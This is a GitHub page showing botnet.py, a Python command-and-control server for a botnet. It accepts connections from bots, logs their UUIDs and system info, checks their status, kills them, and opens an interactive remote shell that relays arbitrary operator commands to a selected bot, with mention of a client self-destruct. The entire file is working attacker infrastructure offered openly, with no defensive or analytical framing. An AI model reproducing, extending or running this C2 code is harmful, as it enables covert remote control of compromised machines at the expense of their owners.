-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbotnet.py
More file actions
193 lines (180 loc) · 4.93 KB
/
botnet.py
File metadata and controls
193 lines (180 loc) · 4.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import socket
import subprocess
import sys
import os
import threading
ARG_LIST=sys.argv
SERVER_IP=""
SERVER_PORT=0
BUFFER=0
BOTS={}
BOTNOS=0
KILLTHREAD=False
def HELP():
print("""
HELP MENU
~~~~ ~~~~
Syntax: botnet.py <args>
Args: -h -----------------------> Help
-v -----------------------> Verbode Mode
-H -----------------------> Set Host Addr, Addr:Port
-B -----------------------> Set Buffer Value""")
exit()
try:
ARG_LIST.index("-h")
HELP()
exit()
except:
pass
try:
IP_VAL=ARG_LIST[ARG_LIST.index("-H")+1]
IP_VAL=IP_VAL.split(":")
SERVER_IP=IP_VAL[0]
SERVER_PORT=int(IP_VAL[1])
BUFFER=int(ARG_LIST[ARG_LIST.index("-B")+1])
except:
print("[SYSTEM] Invalid Arg Value")
HELP()
try:
ARG_LIST.index("-v")
print("[SYSTEM] Verbose Mode Enabled")
VERBOSE=True
except:
VERBOSE=False
print("[SYSTEM] Starting Server...")
sock=socket.socket()
socket.setdefaulttimeout(10.0)
try:
sock.bind((SERVER_IP,SERVER_PORT))
except Exception as Exec:
print("[SYSTEM] Failed to start Server...")
print("[SYSTEM] Invalid Host Address")
if VERBOSE:
print(f"[SYSTEM | DEBUG] {Exec}")
HELP()
sock.listen(10)
def main():
global BOTS,BOTNOS,KILLTHREAD
while True:
INPUT=""
INPUT=input("NET >>")
if INPUT=="show bots status":
for i in range(BOTNOS):
try:
BOTSTEMP=BOTS[i+1]
try:
CLIENT_SOCK=BOTSTEMP[2]
CLIENT_SOCK.send(str.encode("pingbot"))
OUTPUT=CLIENT_SOCK.recv(BUFFER)
OUTPUT=OUTPUT.decode()
if OUTPUT=='BOT ONLINE':
BOTSTEMP[1]="ONLINE"
else:
BOTSTEMP[1]="OFFLINE/SENT UNKNOWN RESPONSE"
except:
BOTSTEMP[1]="OFFINE"
print("Bot Number: ",i+1,"Bot Status ",BOTSTEMP[1])
except:
pass
elif INPUT=="show bots info":
for i in range(BOTNOS):
try:
BOTSTEMP=BOTS[i+1]
print("-"*80)
print("Bot Number: ",i+1,"Bot Info ",BOTSTEMP[0])
except:
pass
elif INPUT[:8]=="kill bot":
try:
BOTNO=int(INPUT[8:])
BOTSTEMP=BOTS[BOTNO]
CLIENT_SOCK=BOTSTEMP[2]
COMM_SEND="exit"
CLIENT_SOCK.send(COMM_SEND.encode())
CLIENT_SOCK.close()
BOTS.pop(BOTNO)
print("[SYSTEM | BOT Info] Killed bot ",BOTNO)
except:
print("[SYSTEM|| Kill Bot] Bot %s not found!"%BOTNO)
elif INPUT[:7]=="use bot":
try:
BOTNO=int(INPUT[7:])
BOTSTEMP=BOTS[BOTNO]
print("[SYSTEM | BOT Info] Using bot ",BOTNO)
CLIENT_SOCK,CLIENT_ADDR=BOTSTEMP[2],BOTSTEMP[3]
SHELL=False
while True:
try:
COMM_SEND=""
if SHELL==False:
COMM_SEND=input("\nBOT >>")
else:
COMM_SEND=input()
if COMM_SEND=="background":
print("[SYSTEM | BOT Info] Backgrounding bot ",BOTNO)
break
elif (COMM_SEND=="" or str.isspace(COMM_SEND)) and SHELL==False:
print("[SYSTEM | Input Error] Blank Command!")
elif (COMM_SEND=="" or str.isspace(COMM_SEND)) and SHELL==True:
CLIENT_SOCK.send(str.encode("Request current path"))
COMM_RECV=CLIENT_SOCK.recv(BUFFER)
print(COMM_RECV.decode(),end='')
else:
COMM_SEND=COMM_SEND.encode()
CLIENT_SOCK.send(COMM_SEND)
COMM_RECV=CLIENT_SOCK.recv(BUFFER)
COMM_RECV=COMM_RECV.decode()
print(COMM_RECV,end="")
if COMM_RECV[:25]=="[Client] Shell Connected!":
SHELL=True
if COMM_RECV=="[Client] Closing Shell":
SHELL=False
if COMM_RECV=="[Client] Self Destruct Initiated!":
print("\n")
break
except Exception as Exec:
print("[SYSTEM | CRITICAL] System sent Command but Client didn't send any response!")
if VERBOSE:
print(f"[SYSTEM | DEBUG] {Exec}")
except:
print("[SYSTEM | Use Bot] Bot %s not found!"%BOTNO)
elif INPUT=="exit":
KILLTHREAD=True
break
else:
pass
try:
sock.close()
exit()
except:
exit()
def BOTCONNECTOR():
global BOTNOS,BOTS,KILLTHREAD
while True:
try:
CLIENT_SOCK,CLIENT_ADDR=sock.accept()
BOTNOS+=1
print(f"\n[SERVER] Client {CLIENT_ADDR[0]}:{CLIENT_ADDR[1]} Connected")
print(f"[SYSTEM] Waiting for Client Acknowledgement and sysinfo")
print(f"CLIENT_SOCK: {CLIENT_SOCK}")
ACK=CLIENT_SOCK.recv(BUFFER)
ACK_RECV=ACK.decode()
ACK_SEND="Received".encode()
CLIENT_SOCK.send(ACK_SEND)
print("[SYSTEM] Client Acknowledged!")
print("[SYSTEM] Client ready to accept commands!")
print("[CLIENT] UUID: ",ACK_RECV[6:42])
BOTS[BOTNOS]=[ACK_RECV,"ONLINE",CLIENT_SOCK,CLIENT_ADDR]
print(f"[CLIENT]Printing Sysinfo:\n {ACK_RECV} \nNET >>",end="")
if KILLTHREAD:
break
except Exception as Exec:
if KILLTHREAD:
break
print("[SYSTEM | CRITICAL] Client Acknowledgement Failed!")
if VERBOSE:
print(f"[SYSTEM | DEBUG] {Exec}")
print(f"[SERVER] Started listening on {SERVER_IP}:{SERVER_PORT}...")
THREAD=threading.Thread(target=BOTCONNECTOR)
THREAD.start()
main()